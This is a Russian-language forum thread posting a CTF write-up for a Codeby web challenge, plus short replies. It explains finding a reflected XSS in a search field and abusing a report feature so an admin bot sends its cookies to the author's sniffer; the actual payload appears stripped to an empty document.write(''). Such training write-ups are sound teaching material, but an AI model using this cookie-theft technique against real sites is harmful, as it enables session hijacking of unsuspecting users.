ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Клиент всегда прав (https://forum.antichat.xyz/showthread.php?t=1641805)

Gustavo Fring 26.04.2023 14:45

Здравствуйте, друзья! Я рад представить вам авторский врайтап, который поможет раскрыть тайны таска "Клиент всегда прав / Веб" с платформы Игры Кодебай. Мы рассмотрим уязвимость XSS и научимся использовать её, чтобы получить Cookies администратора. Давайте начнем!

Заходим на страницу таска и смотрим:

https://forum.antichat.xyz/attachmen...2506369855.png

Похоже на какой-то начинающийся блог. Попробуем нажать на одну из публикаций:

https://forum.antichat.xyz/attachmen...2506395898.png

Нас перенаправило на /?publication=jupiter и отобразилась соответствующая публикация. На главной странице вроде было поле для поиска. Вернемся назад и поэкспериментируем с ним.

https://forum.antichat.xyz/attachmen...2506424367.png

Попробуем найти публикацию по ключевому слову.

https://forum.antichat.xyz/attachmen...2506441451.png

Окей, поиск у нас работает. Проверим, уязвимо ли поле для поиска к XSS-атаке. Почему к XSS? Поле для поиска и название "Клиент всегда прав" внушают нам, что это исключительно XSS. Но, на практике конечно же нельзя доверять таким факторам и надо проверять ресурс на все типы атак.

Передадим самый элементарный пейлоад
Код:

alert('XSS')
в поле для поиска.


https://forum.antichat.xyz/attachmen...2506556766.png

Отлично. У нас есть reflected XSS (она же "пассивная XSS" или "отраженная XSS"). Т.е. наш JS-пейлоад не будет нигде сохраняться, но, за то мы сможем передать ссылку с ресурсом, где страница берет данные из адресной строки (в нашем случае, это пейлоад) и отображается на странице.

https://forum.antichat.xyz/attachmen...2506624150.png

Таким способом, при наличии XSS-уязвимости, при переходе по ссылке в браузере жертвы выполнится JS-код. Что он будет делать, зависит от вашей фантазии. Идем дальше.

На главной странице напротив каждой публикации у нас так же есть кнопка для репорта. Посмотрим, как она работает.


https://forum.antichat.xyz/attachmen...2506657650.png

https://forum.antichat.xyz/attachmen...2506718452.png

В адресной строке мы видим, что в качестве репорта отправляется полная ссылка на публикацию. А что, если мы изменим ссылку репорта на свой, где у нас будет ссылка на страницу для поиска с готовым пейлоадом? Наша цель - украсть кукисы админа. Подготовим такой пейлоад, после которого пользователь не заподозрит ничего. То есть, наш пейлоад не будет никуда перенаправлять пользователя, а просто с помощью JS создаст на странице элемент картинки, которая и поможет нам получить кукисы.

Наш пейлоад -
Код:

document.write('')
. В итоге у нас будет ссылка
Код:

http://62.173.140.174:16013/?search=document.write('')
, которую мы должны отправить в качестве ссылки для репорта. Но, просто взять пейлоад и отправить не получится. Оставлю вам работу с кодированием пейлоада таким образом, чтобы она у нас сработала.

Отправляем репорт с нашей ссылкой на страницу поиска, где у нас вбит пейлоад, который сворует кукисы.


https://forum.antichat.xyz/attachmen...2506781570.png

Репорт отправлен. Теперь посмотрим в наш сниффер.

https://forum.antichat.xyz/attachmen...2506857876.png

Бинго! У нас есть флаг.

Всем спасибо за внимание.

delifer 26.04.2023 19:23

Можно ещё использовать webhook, но по сути один и тот же функционал =)
И даже "+" не нужно было инкодить? Интересный вариант решения!

Gustavo Fring 26.04.2023 19:33

Цитата:


D3L1F3R сказал(а):

Можно ещё использовать webhook, но по сути один и тот же функционал =)
И даже "+" не нужно было инкодить? Интересный вариант решения!


Вариантов много. Я привёл в качестве примера самый базовый.

Архип Борисов 01.06.2023 11:44

Спасибо


Время: 16:35